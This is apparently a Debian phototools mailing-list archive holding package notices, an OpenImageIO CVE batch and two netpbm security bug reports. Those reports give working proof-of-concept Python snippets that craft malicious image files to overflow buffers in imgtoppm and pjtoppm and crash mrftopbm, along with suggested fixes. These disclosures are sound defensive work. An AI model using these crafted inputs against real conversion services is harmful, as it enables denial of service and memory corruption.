4oxkNJvEmzPtdOfC7Lp8HLvdTjthdCnWWuKVJxl/D3p6DkJU1Apid4P+zMf04Dd2
eCXIANv5NddM1XTdnW+k61nWo3SOrEzEUKFH++J7wimtonDIu1cOmbMsHSltyrWj
obMw6gRmy7nuTPznXy4Jocm9aEtRgf+ox9UUoJMJA52mOZ3nRpOnKJ5QcT9OkNil
Xr2DG1Ybjvu3LR/PShAo9lcE0XWEf6017x0m6QyeJKr/UErdR+M=
=TYYH
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260613/70f12820/attachment.sig>

From carnil at debian.org  Sat Jun 13 12:33:46 2026
From: carnil at debian.org (Salvatore Bonaccorso)
Date: Sat, 13 Jun 2026 13:33:46 +0200
Subject: Bug#1139915: openimageio: CVE-2026-43903 CVE-2026-43904
 CVE-2026-43905 CVE-2026-43906 CVE-2026-43907 CVE-2026-43908 CVE-2026-43909
 CVE-2026-43996
Message-ID: <178135042603.66672.5578932174828588573.reportbug@eldamar.lan>

Source: openimageio
Version: 2.5.19.1+dfsg-2
Severity: important
Tags: security upstream
X-Debbugs-Cc: carnil at debian.org, Debian Security Team <team at security.debian.org>

Hi,

The following vulnerabilities were published for openimageio.

This is  a substantial batch of CVEs, please help to properly assess
them.

CVE-2026-43903[0]:
| OpenImageIO is a toolset for reading, writing, and manipulating
| image files of any image file format relevant to VFX / animation.
| Prior to 3.0.18.0 and 3.1.13.0, sgiinput.cpp:265,274 use
| OIIO_DASSERT for bounds checking in the RLE decode loop. In release
| builds, OIIO_DASSERT compiles to ((void)sizeof(x)) (dassert.h:210),
| making all bounds checks no-ops. A crafted .sgi file with RLE count
| exceeding scanline width causes heap buffer overflow and crash. This
| vulnerability is fixed in 3.0.18.0 and 3.1.13.0.


CVE-2026-43904[1]:
| OpenImageIO is a toolset for reading, writing, and manipulating
| image files of any image file format relevant to VFX / animation.
| Prior to 3.0.18.0 and 3.1.13.0, softimageinput.cpp:469 (mixed RLE)
| and :345 (pure RLE) do not clamp the run length to remaining
| scanline width before writing pixels. The raw packet path (line 403)
| correctly clamps with std::min, but RLE paths skip this check. A
| crafted .pic file causes heap overflow up to 65535 bytes. This
| vulnerability is fixed in 3.0.18.0 and 3.1.13.0.


CVE-2026-43905[2]:
| OpenImageIO is a toolset for reading, writing, and manipulating
| image files of any image file format relevant to VFX / animation.
| Prior to 3.0.18.0 and 3.1.13.0, jpeg2000input.cpp:395 computes
| buffer size as const int bufsize = w * h * ch * buffer_bpp using
| signed 32-bit arithmetic. When the product exceeds INT_MAX, the
| result wraps to 0 or a small value. m_buf.resize() allocates an
| undersized buffer, and subsequent pixel write loops cause heap
| overflow. Conditional on USE_OPENJPH build flag. This vulnerability
| is fixed in 3.0.18.0 and 3.1.13.0.


CVE-2026-43906[3]:
| OpenImageIO is a toolset for reading, writing, and manipulating
| image files of any image file format relevant to VFX / animation.
| Prior to 3.0.18.0 and 3.1.13.0, a heap-based buffer overflow in the
| HEIF decoder of OpenImageIO allows out-of-bounds writes via crafted
| images due to a subimage metadata mismatch, leading to memory
| corruption and potential code execution. This vulnerability is fixed
| in 3.0.18.0 and 3.1.13.0.


CVE-2026-43907[4]:
| OpenImageIO is a toolset for reading, writing, and manipulating
| image files of any image file format relevant to VFX / animation.
| Prior to 3.0.18.0 and 3.1.13.0, a signed integer overflow in
| QueryRGBBufferSizeInternal() in DPXColorConverter.cpp leads to a
| heap-based out-of-bounds write when processing crafted DPX image
| files. The function computes buffer sizes using 32-bit signed
| integer arithmetic with negative multipliers (e.g., pixels * -3 *
| bytes for kCbYCr descriptors and pixels * -4 * bytes for kABGR
| descriptors), where a negative result is used as an in-band signal
| that no separate buffer is needed. When the pixel count is
| sufficiently large, the multiplication overflows INT_MIN and wraps
| to a small positive value. The caller in dpxinput.cpp interprets
| this positive value as a required buffer size, allocates an
| undersized heap buffer via m_decodebuf.resize(), and then writes the
| full image data into it via fread, resulting in a heap buffer
| overflow. An attacker can exploit this by crafting a DPX file that
| triggers the overflow, causing a denial of service (crash) or
| potentially arbitrary code execution through heap corruption in any
| application that reads pixel data using OpenImageIO. This
| vulnerability is fixed in 3.0.18.0 and 3.1.13.0.


CVE-2026-43908[5]:
| OpenImageIO is a toolset for reading, writing, and manipulating
| image files of any image file format relevant to VFX / animation.
| Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in
| the pixel-loop index expression i * 3 inside ConvertCbYCrYToRGB()
| causes the function to compute a large negative pointer offset into
| the output buffer, producing an out-of-bounds write that crashes the
| process. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.


CVE-2026-43909[6]:
| OpenImageIO is a toolset for reading, writing, and manipulating
| image files of any image file format relevant to VFX / animation.
| Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in
| the loop index expression i * 4 inside SwapRGBABytes() causes the
| function to compute a large negative pointer offset when processing
| kABGR DPX images with large dimensions. The immediate crash is an
| out-of-bounds read (the memcpy at line 45 reads from &input[i * 4]
| first), but the subsequent write operations at lines 46?49 target
| the same wrapped offset ? making this a combined OOB read+write
| primitive. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.


CVE-2026-43996[7]:
| OpenImageIO is a toolset for reading, writing, and manipulating
| image files of any image file format relevant to VFX / animation.
| Prior to 3.0.18.0 and 3.1.13.0, the bounds check in
| TGAInput::decode_pixel computes k + palbytespp as unsigned 32-bit
| arithmetic. When k = 0xFFFFFFFC and palbytespp = 4, the addition
| wraps to 0, which compares less than palette_alloc_size and passes
| the check. The subsequent palette access uses the unwrapped k
| (0xFFFFFFFC) as the index, reading ~4 GB past the start of the
| palette buffer ? SEGV. This vulnerability is fixed in 3.0.18.0 and
| 3.1.13.0.


If you fix the vulnerabilities please also make sure to include the
CVE (Common Vulnerabilities & Exposures) ids in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2026-43903
    https://www.cve.org/CVERecord?id=CVE-2026-43903
[1] https://security-tracker.debian.org/tracker/CVE-2026-43904
    https://www.cve.org/CVERecord?id=CVE-2026-43904
[2] https://security-tracker.debian.org/tracker/CVE-2026-43905
    https://www.cve.org/CVERecord?id=CVE-2026-43905
[3] https://security-tracker.debian.org/tracker/CVE-2026-43906
    https://www.cve.org/CVERecord?id=CVE-2026-43906
[4] https://security-tracker.debian.org/tracker/CVE-2026-43907
    https://www.cve.org/CVERecord?id=CVE-2026-43907
[5] https://security-tracker.debian.org/tracker/CVE-2026-43908
    https://www.cve.org/CVERecord?id=CVE-2026-43908
[6] https://security-tracker.debian.org/tracker/CVE-2026-43909
    https://www.cve.org/CVERecord?id=CVE-2026-43909
[7] https://security-tracker.debian.org/tracker/CVE-2026-43996
    https://www.cve.org/CVERecord?id=CVE-2026-43996

Regards,
Salvatore

From ftpmaster at ftp-master.debian.org  Sat Jun 13 14:53:57 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sat, 13 Jun 2026 13:53:57 +0000
Subject: jpeg-xl_0.11.2-0.1~deb13u2_source.changes ACCEPTED into
 proposed-updates
Message-ID: <E1wYOo9-00000004Ipo-3Zrq@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Thu, 11 Jun 2026 20:15:43 +0200
Source: jpeg-xl
Architecture: source
Version: 0.11.2-0.1~deb13u2
Distribution: trixie-security
Urgency: medium
Maintainer: Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>
Changed-By: Moritz M?hlenhoff <jmm at debian.org>
Closes: 1138575
Changes:
 jpeg-xl (0.11.2-0.1~deb13u2) trixie-security; urgency=medium
 .
   * CVE-2025-70103 (Closes: #1138575)
Checksums-Sha1:
 2bf78fcbfdabbc109272b48f6339972b1f5fa968 3212 jpeg-xl_0.11.2-0.1~deb13u2.dsc
 2acaf75909eea67cc7d861a9a918733d5f630db8 1882762 jpeg-xl_0.11.2.orig.tar.gz
 46f0eac9c10525dea68fb8f650e9ef216dbc5e11 23848 jpeg-xl_0.11.2-0.1~deb13u2.debian.tar.xz
 7892ed6b9fa3e2e9f6eca071ee979e0983db9d7d 18696 jpeg-xl_0.11.2-0.1~deb13u2_amd64.buildinfo
Checksums-Sha256:
 b978be4319975d73759f0737ba6935fad4f4330802835d6d9298a455c2581363 3212 jpeg-xl_0.11.2-0.1~deb13u2.dsc
 ab38928f7f6248e2a98cc184956021acb927b16a0dee71b4d260dc040a4320ea 1882762 jpeg-xl_0.11.2.orig.tar.gz
 54192375c3ff271f395b815a8ea111a5f632f5db8966baeda9dabedbc86ea2d4 23848 jpeg-xl_0.11.2-0.1~deb13u2.debian.tar.xz
 059d6b6c1da2042bff58873b776a006c72b2b5dc60aed33cb043d94b06a74705 18696 jpeg-xl_0.11.2-0.1~deb13u2_amd64.buildinfo
Files:
 da3a6fc6eb6052c7b45cabbe791917ec 3212 graphics optional jpeg-xl_0.11.2-0.1~deb13u2.dsc
 eda39db6e7a58b73be9124381862b9d1 1882762 graphics optional jpeg-xl_0.11.2.orig.tar.gz
 5f72e49457b31a5ef83eb4dc87a52ec3 23848 graphics optional jpeg-xl_0.11.2-0.1~deb13u2.debian.tar.xz
 d724a9a49d08f5b8298298b3d58a560e 18696 graphics optional jpeg-xl_0.11.2-0.1~deb13u2_amd64.buildinfo

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmorA24ACgkQEMKTtsN8
TjbzYA/+Npbp9/Fe3ZT9AiugvaZOQxXvRTm5JxX3YgRhU202+LXIYDyQxLTXT7sj
S2vBYezTNM88v3Iku/JzHPndAFUUANvnT8krstaND42cxkIKj5crpGAHr9Yz1u5m
DQSCtvxQ/s+CY/5400iUqeNzP7cMLJERi1IUZ19vD4ej4Gpda6RzKP9kRzj3/7pT
8pm8XmVe0Rkpox6SZjPukoWPXtugvxD23YJSkiaGdKihfv+MstAiXVS/ezhD1RzJ
z2LALgwZauW2+9KJpLB831CNdP7JVIADQV8Q2UzirFM6WW+uodUkUmIgjFNBYpTx
HOvY8jH1LpojV5RrUPL7yBYNTvp+ocHL/CZ/hJm/EYxcREhwMWVMEHw4h/uzzG2u
1s0ewuEpWmacGfmgg53Fly1npwnGVNfC3sxXVJC5tK3JEDjcmWQ40IYcA4z4AGUm
sTBNC3QxEwUDJQW59nIu5y6MCGsJXPHLz2b0rJytkMeolPfab+ilAKocWFbB+2G6
6G4lPFrSYhH1+PjM6AyBnF2daQmhN8DflQHiMnAvY1kLeCINFWyJUnrkM5rSeNrQ
Dv4bISwANpaU2go+sDCqtUkCka3ax3EZo6TmAdN++GirtOZPzuklz7HuTFainhJT
ID92SawSayo7sz5Wd7anAaOcIlS1P6yswkpH2P3IQT/N3hmJ5Bs=
=1Q/G
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260613/cc77567b/attachment.sig>

From owner at bugs.debian.org  Sat Jun 13 14:59:02 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Sat, 13 Jun 2026 13:59:02 +0000
Subject: Bug#1138575: marked as done (jpeg-xl: CVE-2025-70103)
References: <E1wYOo9-00000004Ipw-3w9u@fasolo.debian.org>
 <178025445978.831712.4238070275982601323.reportbug@eldamar.lan>
Message-ID: <handler.1138575.D1138575.17813590921582425.ackdone@bugs.debian.org>

Your message dated Sat, 13 Jun 2026 13:53:57 +0000
with message-id <E1wYOo9-00000004Ipw-3w9u at fasolo.debian.org>
and subject line Bug#1138575: fixed in jpeg-xl 0.11.2-0.1~deb13u2
has caused the Debian Bug report #1138575,
regarding jpeg-xl: CVE-2025-70103
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner at bugs.debian.org
immediately.)


-- 
1138575: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1138575
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems
-------------- next part --------------
An embedded message was scrubbed...
From: Salvatore Bonaccorso <carnil at debian.org>
Subject: jpeg-xl: CVE-2025-70103
Date: Sun, 31 May 2026 21:07:39 +0200
Size: 2261
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260613/34595232/attachment-0002.eml>
-------------- next part --------------
An embedded message was scrubbed...
From: Debian FTP Masters <ftpmaster at ftp-master.debian.org>
Subject: Bug#1138575: fixed in jpeg-xl 0.11.2-0.1~deb13u2
Date: Sat, 13 Jun 2026 13:53:57 +0000
Size: 7038
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260613/34595232/attachment-0003.eml>

From ametzler at debian.org  Sat Jun 13 15:36:20 2026
From: ametzler at debian.org (Andreas Metzler)
Date: Sat, 13 Jun 2026 16:36:20 +0200
Subject: Bug#1139920: O: field3d -- documentation for Field3D
Message-ID: <ai1q5Lq-bFI5hzeV@argenau.bebt.de>

Package: wnpp
Severity: normal
X-Debbugs-Cc: field3d at packages.debian.org
Control: affects -1 + src:field3d

I intend to orphan the field3d package. The MIA team has requested to
updated the uploader list, but there is only a single one, so I am going
to make a QA upload an move it out of the phototools team.

Ther are no reverse dependencies in Debian.

The package description is:
 Field3D is an open source library for storing voxel data.
 .
 It provides C++ classes that handle in-memory storage and a file format
 based on HDF5 that allows the C++ objects to be written to and read from
 disk.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260613/cca4c225/attachment.sig>

From owner at bugs.debian.org  Sat Jun 13 16:21:02 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Sat, 13 Jun 2026 15:21:02 +0000
Subject: Bug#1138098: marked as done (Updating the field3d Uploaders list)
References: <E1wYQ8Y-00000004hAI-2hJh@fasolo.debian.org>
 <ahgf7ffy4RFe-Hmw@aezign2.aezign.au>
Message-ID: <handler.1138098.D1138098.17813639501623806.ackdone@bugs.debian.org>

Your message dated Sat, 13 Jun 2026 15:19:06 +0000
with message-id <E1wYQ8Y-00000004hAI-2hJh at fasolo.debian.org>
and subject line Bug#1138098: fixed in field3d 1.7.3-9
has caused the Debian Bug report #1138098,
regarding Updating the field3d Uploaders list
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner at bugs.debian.org
immediately.)


-- 
1138098: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1138098
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems
-------------- next part --------------
An embedded message was scrubbed...
From: Maytham Alsudany <maytham at debian.org>
Subject: Updating the field3d Uploaders list
Date: Thu, 28 May 2026 18:58:57 +0800
Size: 4211
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260613/7c73dd0a/attachment.eml>
-------------- next part --------------
An embedded message was scrubbed...
From: Debian FTP Masters <ftpmaster at ftp-master.debian.org>
Subject: Bug#1138098: fixed in field3d 1.7.3-9
Date: Sat, 13 Jun 2026 15:19:06 +0000
Size: 6361
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260613/7c73dd0a/attachment-0001.eml>

From noreply at release.debian.org  Tue Jun 16 05:39:04 2026
From: noreply at release.debian.org (Debian testing autoremoval watch)
Date: Tue, 16 Jun 2026 04:39:04 +0000
Subject: opencolorio is marked for autoremoval from testing
Message-ID: <E1wZLZo-003DVH-0N@respighi.debian.org>

opencolorio 2.1.3+dfsg-2 is marked for autoremoval from testing on 2026-06-17

It is affected by these RC bugs:
1133752: libopencolorio-dev: libopencolorio-dev fails to coinstall
 https://bugs.debian.org/1133752
1135439: opencolorio: FTBFS: make[3]: *** No rule to make target '/usr/lib/x86_64-linux-gnu/libEGL.so', needed by 'src/apps/ociodisplay/ociodisplay'.  Stop.
 https://bugs.debian.org/1135439



For more information on the autoremoval process, including hints to prevent
autoremoval can be found on the wiki: https://wiki.debian.org/Autoremoval

This mail is generated by:
https://salsa.debian.org/release-team/release-tools/-/blob/master/mailer/mail_autoremovals.pl

Autoremoval data is generated by:
https://salsa.debian.org/qa/udd/-/blob/master/udd/testing_autoremovals_gatherer.pl


From noreply at release.debian.org  Tue Jun 16 05:39:11 2026
From: noreply at release.debian.org (Debian testing watch)
Date: Tue, 16 Jun 2026 04:39:11 +0000
Subject: libjpeg 0.0~git20250815.25f7128-3 MIGRATED to testing
Message-ID: <E1wZLZv-003DeM-1q@respighi.debian.org>

FYI: The status of the libjpeg source package
in Debian's testing distribution has changed.

  Previous version: 0.0~git20250815.25f7128-2
  Current version:  0.0~git20250815.25f7128-3

-- 
This email is automatically generated once a day.  As the installation of
new packages into testing happens multiple times a day you will receive
later changes on the next day.
See https://release.debian.org/testing-watch/ for more information.


From noreply at release.debian.org  Tue Jun 16 05:39:14 2026
From: noreply at release.debian.org (Debian testing watch)
Date: Tue, 16 Jun 2026 04:39:14 +0000
Subject: pngtools 1.2-2 MIGRATED to testing
Message-ID: <E1wZLZy-003DjP-0p@respighi.debian.org>

FYI: The status of the pngtools source package
in Debian's testing distribution has changed.

  Previous version: 1.2-1
  Current version:  1.2-2

-- 
This email is automatically generated once a day.  As the installation of
new packages into testing happens multiple times a day you will receive
later changes on the next day.
See https://release.debian.org/testing-watch/ for more information.


From owner at bugs.debian.org  Tue Jun 16 20:59:02 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Tue, 16 Jun 2026 19:59:02 +0000
Subject: Processed: found 1133752 in 2.1.3+dfsg-1.1
References: <1781639902-849-bts-bunk@debian.org>
Message-ID: <handler.s.C.17816399053854089.transcript@bugs.debian.org>

Processing commands for control at bugs.debian.org:

> found 1133752 2.1.3+dfsg-1.1
Bug #1133752 [libopencolorio-dev] libopencolorio-dev fails to coinstall
Marked as found in versions opencolorio/2.1.3+dfsg-1.1.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
1133752: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1133752
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems


From owner at bugs.debian.org  Tue Jun 16 21:35:04 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Tue, 16 Jun 2026 20:35:04 +0000
Subject: Processed: unarchiving 1132634, reassign 1135439 to libglew-dev,
 forcibly merging 1132634 1135439
References: <1781642017-742-bts-bunk@debian.org>
Message-ID: <handler.s.C.17816420203872192.transcript@bugs.debian.org>

Processing commands for control at bugs.debian.org:

> unarchive 1132634
Bug #1132634 {Done: Alastair McKinstry <mckinstry at debian.org>} [libglew-dev] libglew-dev: Missing dependencies for CMake files
Unarchived Bug 1132634
> reassign 1135439 libglew-dev
Bug #1135439 {Done: Bastian Germann <bage at debian.org>} [src:opencolorio] opencolorio: FTBFS: make[3]: *** No rule to make target '/usr/lib/x86_64-linux-gnu/libEGL.so', needed by 'src/apps/ociodisplay/ociodisplay'.  Stop.
Bug reassigned from package 'src:opencolorio' to 'libglew-dev'.
No longer marked as found in versions opencolorio/2.1.3+dfsg-2.
No longer marked as fixed in versions 2.5.1+dfsg-1.
> forcemerge 1132634 1135439
Bug #1132634 {Done: Alastair McKinstry <mckinstry at debian.org>} [libglew-dev] libglew-dev: Missing dependencies for CMake files
Bug #1132634 {Done: Alastair McKinstry <mckinstry at debian.org>} [libglew-dev] libglew-dev: Missing dependencies for CMake files
Added tag(s) forky and sid.
Bug #1135439 {Done: Bastian Germann <bage at debian.org>} [libglew-dev] opencolorio: FTBFS: make[3]: *** No rule to make target '/usr/lib/x86_64-linux-gnu/libEGL.so', needed by 'src/apps/ociodisplay/ociodisplay'.  Stop.
Added indication that 1135439 affects src:kicad,src:tulip,src:slop,src:limesuite,src:opencolorio,src:avogadrolibs
Marked as fixed in versions glew/2.3.1-6.
Marked as found in versions glew/2.3.1-5 and glew/2.3.1-3.
Added tag(s) patch.
Merged 1132634 1135439
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
1132634: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132634
1135439: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1135439
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems


From maramsaiharsha24 at gmail.com  Tue Jun 16 22:53:18 2026
From: maramsaiharsha24 at gmail.com (Maram Sai Harsha Vardhan Reddy)
Date: Wed, 17 Jun 2026 03:23:18 +0530
Subject: Bug#1140182: netpbm: stack-based buffer overflow in imgtoppm via
 unbounded atoi()/fread() chunk length (CWE-121)
Message-ID: <CACim88aDigNaUiYJX+5TELN+BMwB9Ei15UWKfhT6G7YedXnmuQ@mail.gmail.com>

Package: netpbm
Version: 2:11.13.03+ds-2
Severity: important
Tags: security patch

Dear Maintainer,

imgtoppm (/usr/bin/imgtoppm) contains a stack-based buffer overflow
(CWE-121 / CWE-787) reachable from a single untrusted input file, with no
authentication or user interaction.

Root cause
----------
In converter/ppm/imgtoppm.c, the "AT" and "CM" chunk handlers read an
8-byte ASCII length field, convert it with atoi(), and then fread() that
many bytes into a fixed 4096-byte stack buffer, with no check that the
length fits the buffer:

  unsigned char buf[4096];                 /* line 35 */
  ...
  buf[8] = '\0';
  len = atoi((char*) buf);                  /* line 63: len up to
99,999,999, not clamped */
  if (fread(buf, len, 1, ifP) != 1)         /* line 64: writes len bytes
into buf[4096] */
      pm_error("bad attributes buf");
  buf[len] = '\0';                          /* line 66: additional OOB
write at offset len */

The same pattern is repeated in the "CM" handler (lines 85-86). 'len' is
fully attacker-controlled and is never compared against sizeof(buf). The
fread() return-value check does not prevent the overflow: glibc fread
writes the bytes it reads before returning, so supplying e.g. 6000 bytes
overflows the buffer even though fread then returns 0. The signature is
not validated, so the vulnerable path is trivially reachable.

The Debian 10_netpbm-security-code.patch hardened the multiplication
overflow paths in this same file (overflow2(cmaplen,3), overflow2(cols,
rows)) but left these length-driven fread() reads unbounded.

Proof of concept
----------------
  python3 -c '
  sig    = b"IMG\x00\x00\x00\x00\x00"   # 8-byte signature (not validated)
  tag    = b"AT"                          # attributes chunk
  length = b"00006000"                    # atoi() -> 6000, no clamp to 4096
  payload= b"A" * 6000                     # 6000 bytes ->
fread(buf,6000,1) into buf[4096]
  open("poc_img.img","wb").write(sig+tag+length+payload)'

  $ imgtoppm poc_img.img > /dev/null
  *** buffer overflow detected ***: terminated
  Aborted            (exit 134 / SIGABRT)

Under AddressSanitizer the underlying out-of-bounds write is confirmed:

  ==ERROR: AddressSanitizer: stack-buffer-overflow
  WRITE of size 6000 at 0x... thread T0
      #1 main converter/ppm/imgtoppm.c:64
  'buf' (line 35) <== Memory access overflows this variable
  SUMMARY: AddressSanitizer: stack-buffer-overflow
converter/ppm/imgtoppm.c:64 in main

Impact
------
Any service that runs imgtoppm on untrusted input (image conversion /
thumbnailing pipelines using the netpbm toolchain) is affected. On the
default hardened Debian build (_FORTIFY_SOURCE + stack canaries) the
overflow is detected and the process aborts, i.e. a reliable denial of
service; the underlying out-of-bounds write is real (ASan-confirmed) and
is more severe on builds without fortify/canaries or via the
buf[len] = '\0' arbitrary-offset write.

Suggested fix
-------------
Clamp the chunk length to the buffer size before reading, in every chunk
handler ("AT" and "CM"):

  len = atoi((char*) buf);
  if (len >= sizeof(buf))
      pm_error("chunk length %u exceeds maximum %u",
               len, (unsigned) sizeof(buf));
  if (fread(buf, len, 1, ifP) != 1)
      pm_error("bad attributes buf");

This also removes the buf[len] = '\0' out-of-bounds write.

Secondary issue (same package, lower severity)
----------------------------------------------
converter/pbm/mrftopbm.c has a reachable divide-by-zero (CWE-369 / SIGFPE).
cols/rows are read from the MRF header; w64 = (cols+63)/64. When cols == 0
(or rows == 0), w64/h64 become 0 and the overflow guard divides by them:

  if (UINT_MAX/w64/64/h64/64 == 0)   /* line 169: UINT_MAX/0 -> SIGFPE */
      pm_error(...);

PoC (13-byte file): "MRF1" + cols=0 (4 BE) + rows=1 (4 BE) + subtype 0x00

  $ mrftopbm poc.mrf
  Floating point exception   (exit 136 / SIGFPE)

Fix: reject cols == 0 || rows == 0 before computing the guard.

Notes
-----
No CVE was found tracking the imgtoppm overflow; historical netpbm CVEs
cover other tools (giftopnm CVE-2008-0554, xpmtoppm CVE-2009-4274,
pnmtopng CVE-2005-2978). Both issues are present and reproducible in the
current shipped version 2:11.13.03+ds-2. I am happy to help validate a
fix and to coordinate CVE assignment.

Regards,
Maram Sai Harsha Vardhan Reddy
Security Researcher
maramsaiharsha24 at gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260617/65c1a4cd/attachment.htm>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: make_poc.py
Type: application/octet-stream
Size: 612 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260617/65c1a4cd/attachment.obj>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: poc_mrftopbm_divzero.mrf
Type: application/octet-stream
Size: 13 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260617/65c1a4cd/attachment-0001.obj>

From maramsaiharsha24 at gmail.com  Tue Jun 16 23:19:30 2026
From: maramsaiharsha24 at gmail.com (Maram Sai Harsha Vardhan Reddy)
Date: Wed, 17 Jun 2026 03:49:30 +0530
Subject: Bug#1140183: netpbm: heap buffer overflow in pjtoppm via unbounded
 "Position Y" order (CWE-122)
Message-ID: <CACim88aVnvgw=fj_7q9rd3KKb2e-8iQ3Q4P4ZWmWa6WLFNKJ7Q@mail.gmail.com>

Package: netpbm
Version: 2:11.13.03+ds-2
Severity: High
Tags: security patch

Dear Maintainer,

pjtoppm (/usr/bin/pjtoppm) contains a heap-based buffer overflow
(CWE-122 / CWE-787) reachable from a single untrusted input file, with no
authentication or user interaction. The stock shipped binary crashes
with SIGSEGV; AddressSanitizer confirms an out-of-bounds heap write.

Root cause
----------
pjtoppm keeps two heap arrays, image (unsigned char **) and imlen (int *),
sized rowsX * planes entries and grown with REALLOCARRAY as raster rows
arrive (converter/ppm/pjtoppm.c:274-275). The PaintJet "Position Y" order
(ESC * p <n> Y) sets the current row to an attacker-supplied value and
zero-initialises every intermediate row WITHOUT checking that value
against the allocated row count rowsX:

  case 'Y':
      if (buffer[0] == '+') val = row + val;
      if (buffer[0] == '-') val = row - val;
      for (; val > row; ++row)
          for (plane = 0; plane < 3; ++plane) {
              imlen[row * planes + plane] = 0;       /* line 321: OOB write
*/
              image[row * planes + plane] = NULL;    /* line 322: OOB write
*/
          }
      row = val;

'val' is fully attacker-controlled. When val > rowsX, every write past
rowsX*planes is out of bounds, and the out-of-bounds extent is
attacker-controlled (proportional to val). The 'V'/'W' raster path is
hardened (uintProduct() overflow check and the row > UINT_MAX/planes-100
guard at line 295) but this Position path has no equivalent check.

Proof of concept
----------------
A 29-byte file:

  python3 -c '
  ESC = b"\033"
  out  = ESC + b"*b1M"                # transmission mode 1
  out += ESC + b"*r100S"              # raster width = 100
  out += ESC + b"*b2W" + b"\xff\xff"  # alloc image/imlen for
rowsX(100)*planes(3); row -> 1
  out += ESC + b"*p100000Y"           # Position Y = 100000 -> OOB writes
past the 300-entry arrays
  open("poc_pjtoppm.pj","wb").write(out)'

  $ pjtoppm poc_pjtoppm.pj > /dev/null
  Segmentation fault          (exit 139 / SIGSEGV)

Under AddressSanitizer:

  ==ERROR: AddressSanitizer: heap-buffer-overflow
  WRITE of size 4 at 0x... thread T0
      #0 main converter/ppm/pjtoppm.c:321
  0x... is located 0 bytes after 1200-byte region   (100 rows * 3 planes *
4 bytes)
  allocated by reallocProduct mallocvar.h:101 <- main pjtoppm.c:275
  SUMMARY: AddressSanitizer: heap-buffer-overflow
converter/ppm/pjtoppm.c:321 in main

Impact
------
Unauthenticated heap out-of-bounds write triggered by a single malicious
PaintJet file. Any service/pipeline that runs pjtoppm on untrusted input
is affected. The overflow is on the heap, so stack canaries and
_FORTIFY_SOURCE do not mitigate it; DoS against the stock binary is
confirmed. The out-of-bounds extent is attacker-controlled, though the
written value is constrained to 0/NULL.

Suggested fix
-------------
Bound the Position target against rowsX (or grow the arrays to fit, like
the V/W path) before the zero-initialisation loop, and reject negative
val after the +/- adjustment:

  case 'Y':
      if (buffer[0] == '+') val = row + val;
      if (buffer[0] == '-') val = row - val;
      if (val < 0)
          pm_error("invalid Y position");
      while ((unsigned)val > rowsX) {
          overflow_add(rowsX, 100);
          rowsX += 100;
          REALLOCARRAY(image, uintProduct(rowsX, planes));
          REALLOCARRAY(imlen, uintProduct(rowsX, planes));
          if (image == NULL || imlen == NULL)
              pm_error("out of memory");
      }
      for (; val > row; ++row)
          for (plane = 0; plane < 3; ++plane) {
              imlen[row * planes + plane] = 0;
              image[row * planes + plane] = NULL;
          }
      row = val;
      break;

Notes
-----
The bug is present and reproducible in the current shipped version
2:11.13.03+ds-2.
I am happy to help validate a fix and to coordinate CVE assignment.

Regards,
Maram Sai Harsha Vardhan Reddy
Security Researcher
maramsaiharsha24 at gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
